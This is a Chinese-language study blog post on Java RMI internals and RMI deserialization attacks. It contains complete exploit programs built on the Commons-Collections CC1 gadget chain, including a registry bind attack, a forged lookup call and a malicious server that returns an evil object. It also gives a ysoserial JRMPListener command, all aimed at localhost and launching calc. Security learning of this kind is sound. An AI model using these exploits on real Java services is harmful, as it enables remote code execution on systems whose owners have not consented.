Java_RMI分析
jerem1ah Lv4

RMI学习

https://drun1baby.top/2022/07/19/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRMI%E4%B8%93%E9%A2%9801-RMI%E5%9F%BA%E7%A1%80/ //详细分析

https://johnfrod.top/%e5%ae%89%e5%85%a8/rmi%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96/

https://www.bilibili.com/video/BV1L3411a7ax/?p=10&vd_source=a4eba559e280bf2f1aec770f740d0645 //详细分析

https://su18.org/post/rmi-attack/

https://threedr3am.github.io/2020/01/15/%E5%9F%BA%E4%BA%8EJava%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%20-%20%E6%90%9E%E6%87%82RMI%E3%80%81JRMP%E3%80%81JNDI/

https://drun1baby.top/2022/07/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRMI%E4%B8%93%E9%A2%9802-RMI%E7%9A%84%E5%87%A0%E7%A7%8D%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F/

https://goodapple.top/archives/520

https://blog.play2win.top/2022/02/16/Java_RMI%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90%E4%B8%8E%E6%80%BB%E7%BB%93/

https://www.ek1ng.com/java-rmi-attack.html

RMI基础例子

服务端

1.编写一个远程接口,其中定义了sayHello方法

1
2
3
4
5
6
7
8
9
package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteObj extends Remote {
public String sayHello(String keyWords) throws RemoteException;
}

  • 作用域为public
  • 继承Remote
  • 抛出异常RemoteException

2.定义该接口的实现类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj {
public RemoteObjImpl() throws RemoteException {

}

@Override
public String sayHello(String keyWords) throws RemoteException {
String upKeyWords = keyWords.toUpperCase();
System.out.println(upKeyWords);
return upKeyWords;
}
}

  • 实现接口RemoteObj
  • 继承UnicastRemoteObject
  • 构造函数抛出异常RemoteExcepion
  • 实现类中使用的对象必须都可以序列化,即继承java.io.Serializable

3.注册远程对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws Exception{
System.out.println("Hello world!");

RemoteObj remoteObj = new RemoteObjImpl();

Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("remoteObj",remoteObj);

}
}

  • port默认是1099
  • bind的绑定,要和客户端的查找一致

客户端

1
2
3
4
5
6
7
8
9
package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteObj extends Remote {
public String sayHello(String keyWords) throws RemoteException;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj");
remoteObj.sayHello("hello");
}
}

image-20240517123530088

wireshark流量分析

客户端与注册中心(1099 端口)建立通讯

客户端查询需要调用的函数的远程引用,注册中心返回远程引用和提供该服务的服务端 IP 与端口。

image-20240517125157591

客户端与注册中心(1099 端口)建立通讯完成后,RMI Client 向远端发送了⼀个 “Call” 消息,远端回复了⼀个 “ReturnData” 消息,然后 RMI Client 端新建了⼀个 TCP 连接,连到远端的53851 端⼝,d25b就是53851

image-20240517130132418

AC ED 00 05是常见的 Java 反序列化 16 进制特征
注意以上两个关键步骤都是使用序列化语句

客户端新起一个端口与服务端建立 TCP 通讯

客户端发送远程引用给服务端,服务端返回函数唯一标识符,来确认可以被调用

image-20240517130914923

同样使用序列化的传输形式

以上两个过程对应的代码是这两句

1
2
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);  
RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj"); // 查找远程对象

这里会返回一个 Proxy 类型函数,这个 Proxy 类型函数会在我们后续的攻击中用到。

客户端序列化传输调用函数的输入参数至服务端

这一步的同时:服务端返回序列化的执行结果至客户端

image-20240517131204724

以上调用通讯过程对应的代码是这一句

1
remoteObj.sayHello("hello");

可以看出所有的数据流都是使用序列化传输的,那必然在客户端和服务带都存在反序列化的语句。

总结一下 RMI 的通信原理

实际建⽴了两次 TCP 连接,第一次是去连 1099 端口的;第二次是由服务端发送给客户端的。

在第一次连接当中,是客户端连 Registry 的,在其中寻找 Name 为 hello 的对象,这个对应数据流中的 Call 消息;然后 Registry 返回⼀个序列化的数据,这个就是找到的 Name=Hello 的对象,这个对应数据流中的ReturnData消息。

到了第二次连接,服务端发送给客户端 Call 的消息。客户端反序列化该对象,发现该对象是⼀个远程对象,地址在 172.17.88.209:24429,于是再与这个地址建⽴ TCP 连接;在这个新的连接中,才执⾏真正远程⽅法调⽤,也就是 sayHello()

RMI Registry 就像⼀个⽹关,他⾃⼰是不会执⾏远程⽅法的,但 RMI Server 可以在上⾯注册⼀个 Name 到对象的绑定关系;RMI Client 通过 Name 向 RMI Registry 查询,得到这个绑定关系,然后再连接 RMI Server;最后,远程⽅法实际上在 RMI Server 上调⽤。

image-20240517134900056

那么我们可以确定 RMI 是一个基于序列化的 Java 远程方法调用机制。

从 IDEA 断点分析 RMI 通信原理

1. 流程分析总览

首先 RMI 有三部分:

  • RMI Registry
  • RMI Server
  • RMI Client

如果两两通信就是 3+2+1 = 6 个交互流程,还有三个创建的过程,一共是九个过程。

RMI 的工作原理可以大致参考这张图,后续我会一一分析。

image-20240517135413095

2. 创建远程服务

先行说明,创建远程服务这一块是不存在漏洞的。

断点打在 RMIServer 的创建远程对象这里,如图

image-20240517154226000

这块的调用分析看不懂,,,就先这样吧,以后用得到再回来看。

3. 创建注册中心 + 绑定

3. 客户端请求,客户端调用注册中心

4. 客户端请求,客户端请求服务端

5. 客户端发起请求,注册中心如何处理

6. 客户端发起请求,服务端做了什么

总结

如果是漏洞利用的话,单纯攻击 RMI 意义是不大的,不论是 codespace 的那种利用,难度很高,还是说三者互相打这种,意义都不是很大,因为在 jdk8u121 之后都基本修复完毕了。

RMI 多数的利用还是在后续的 fastjson,strust2 这种类型的攻击组合拳比较多,希望这篇文章能对正在学习 RMI 的师傅们提供一点帮助。

攻击 RMI Registry

只有一种客户端打注册中心

注册中心的交互主要是这一句话

1
Naming.bind("rmi://127.0.0.1:1099/sayHello", new RemoteObjImpl());

这里的交互方式不只是只有 bind,还有其他的一系列方式,如下

我们与注册中心进行交互可以使用如下几种方式:

  • list
  • bind
  • rebind
  • unbind
  • lookup

这几种方法位于 RegistryImpl_Skel#dispatch 中,如果存在对传入的对象调用 readObject() 方法,则可以利用,dispatch 里面对应关系如下:

  • 0 —– bind
  • 1 —– list
  • 2 —– lookup
  • 3 —– rebind
  • 4 —– unbind

首先是 list 这种攻击,因为除了 list 和 lookup 两个,其余的交互在 8u121 之后都是需要 localhost 的。
但是讲道理,list 的这种攻击比较鸡肋。

bind 或 rebind 的攻击

直接看 bind 方法和 rebind 方法的源码吧

源码在jdk8u65的rt.jar包里,package sun.rmi.registry的RegistryImpl_Skel类里面

这个博客里讲的应该有问题。它的case和bind以及rebind对应的有问题。参考了两篇按照我的正确理解来搞。

case 0是bind

image-20240517223942377

case 3是rebind

image-20240517224023559

当调用bind时,会用readObject读出参数名以及远程对象,此时则可以利用

当调用rebind时,会用readObject读出参数名和远程对象,这里和bind是一样的,所以都可以利用。

如果服务端存在CC1相关组件漏洞,那么就可以使用反序列化攻击

1
2
3
4
5
6
7
<dependencies>  
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency></dependencies>

逆向分析一下这条链子,原本 CC1 的最后面是 InvocationHandler.readObject(),现在我们要让客户端的 bind() 方法执行 readObject()

回过头去看前面的,在客户端收到信息的时候是一个 Proxy 对象,让 Proxy 对象被执行的时候去调 readObject() 方法,可以先点进去 Proxy 对象看一看,其中有一个非常引人注目的方法 ———— newProxyInstance()

image-20240517233414704

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class AttackRegistryEXP {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler invocationHandler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class},invocationHandler));
registry.bind("test",remote);
}
public static Object CC1() throws Exception{
System.out.println("hello");


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value","jerem1ah");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);

Class annotatonInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotatonInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

Object o = constructor.newInstance(Target.class,transformedMap);
return o;
}
}

Remote.class.cast 这里实际上是将一个代理对象转换为了 Remote 对象,因为 bind() 方法这里需要传入 Remote 对象。

  • rebind 的攻击也是如此,将 registry.bind("test",remote); 替换为 rebind() 方法即可。

unbind 或 lookup 的攻击

case 2是lookup

image-20240517233651956

case 4是unbind

image-20240517233731930

因为 unbind 和 lookup 的最终利用和思想都是一样的,这里我们就只拿 lookup 这里来学习。

大致的思路还是和 bind/rebind 思路是一样的,但是 lookup 这里只可以传入 String 类型,这里我们可以通过伪造 lookup 连接请求进行利用,修改 lookup 方法代码使其可以传入对象。

我们可以利用反射来实现这种攻击。

原先的lookup方法:

RegistryImpl_Stub#lookup

image-20240517234440515

编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class AttackRegistryEXP02 {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler invocationHandler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler));

// 获取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

//获取operations

Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);

// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
}
public static Object CC1() throws Exception{
System.out.println("hello");


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value","jerem1ah");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);

Class annotatonInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotatonInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

Object o = constructor.newInstance(Target.class,transformedMap);
return o;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 获取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

//获取operations

Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);

// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);

以上这里就看不懂了。。先写吧

image-20240517235724883

攻击客户端

  • 上篇我们分析过,是在 unmarshalValue() 那个地方存在入口类。

注册中心攻击客户端

对于注册中心来说,我们还是从这几个方法触发:

  • bind
  • unbind
  • rebind
  • list
  • lookup

除了unbindrebind都会返回数据给客户端,返回的数据是序列化形式,那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击,这里使用ysoserial的JRMPListener,因为 EXP 实在太长了。命令如下:

1
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'

然后使用客户端去访问:

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient_lsit {
public static void main(String[] args) throws RemoteException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list();
}
}

服务端攻击客户端

服务端攻击客户端,大抵可以分为以下两种情景。

  1. 服务端返回Object对象
  2. 远程加载对象
服务端返回Object对象

在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以CC1为例:

  • User接口,返回的是Object对象

接口

1
2
3
4
5
6
7
package org.example;

import java.rmi.Remote;

public interface User extends Remote {
public Object getUser() throws Exception;
}

恶意对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class UserEvilObject extends UnicastRemoteObject implements User {
public String name;
public int age;
public UserEvilObject(String name, int age) throws RemoteException{
super();
this.name = name;
this.age = age;
}
public Object getUser() throws Exception{
return CC1();
}
public static Object CC1() throws Exception{
System.out.println("hello");


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value","jerem1ah");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);

Class annotatonInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotatonInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

Object o = constructor.newInstance(Target.class,transformedMap);
return o;
}
}

恶意服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class AttackClientFromServerEXP {
public static void main(String[] args) throws Exception{
User xiaowang = new UserEvilObject("xiaowang",18);

Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("user",xiaowang);

System.out.println("xiaowang is bind in registry");
}
}

客户端连接

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient_UserEvilObject {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.getUser();
}
}

image-20240518101825036

加载远程对象

这个就是 P神 写的那个,codebase 这种。这个可用性还是不咋样,我个人觉得本身这个注册中心,或者是服务端打出来,就没啥意义;再加上利用条件苛刻,就更没劲了。

当服务端的某个方法返回的对象是客户端没有的时,客户端可以指定一个URL,此时会通过URL来实例化对象。

java.rmi.server.codebase:codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的 CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。

RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的class文件可以使用http://ftp://、file://进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,如果服务端方法的返回值可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,客户端就需要从服务端提供的java.rmi.server.codebaseURL去加载类;对于服务端而言,如果客户端传递的方法参数是远程对象接口方法参数类型的子类,那么服务端需要从客户端提供的java.rmi.server.codebaseURL去加载对应的类。客户端与服务端两边的java.rmi.server.codebaseURL都是互相传递的。无论是客户端还是服务端要远程加载类,都需要满足以下条件:

  1. 由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装RMISecurityManager并且配置java.security.policy,这在后面的利用中可以看到。
  2. 属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

总的来说利用条件十分苛刻,可用性不强。

攻击服务端

客户端打服务端

复现不成功。不知道为什么,

能打通的条件:

  • 安装并且配置SecurityManager
  • 6u45,7u21之前或者手动设置java.rmi.server.useCodebaseOnly=false

可能是这俩条件没满足

同时服务端具有以下特点:

  • jdk版本1.7
  • 使用具有漏洞的Commons-Collections3.1组件
  • RMI提供的数据有Object类型(因为攻击payload就是Object类型)

这些东西用处不大,暂时就不复现了。

总结

感觉都是一些很过时,要淘汰的东西,暂且就先这样吧。复现了个差不多80%

 Comments